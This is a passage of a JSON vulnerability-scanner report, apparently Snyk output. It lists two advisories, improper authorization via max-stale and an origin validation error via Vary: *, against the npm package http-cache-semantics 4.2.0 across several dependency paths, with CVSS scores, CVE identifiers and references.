Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], 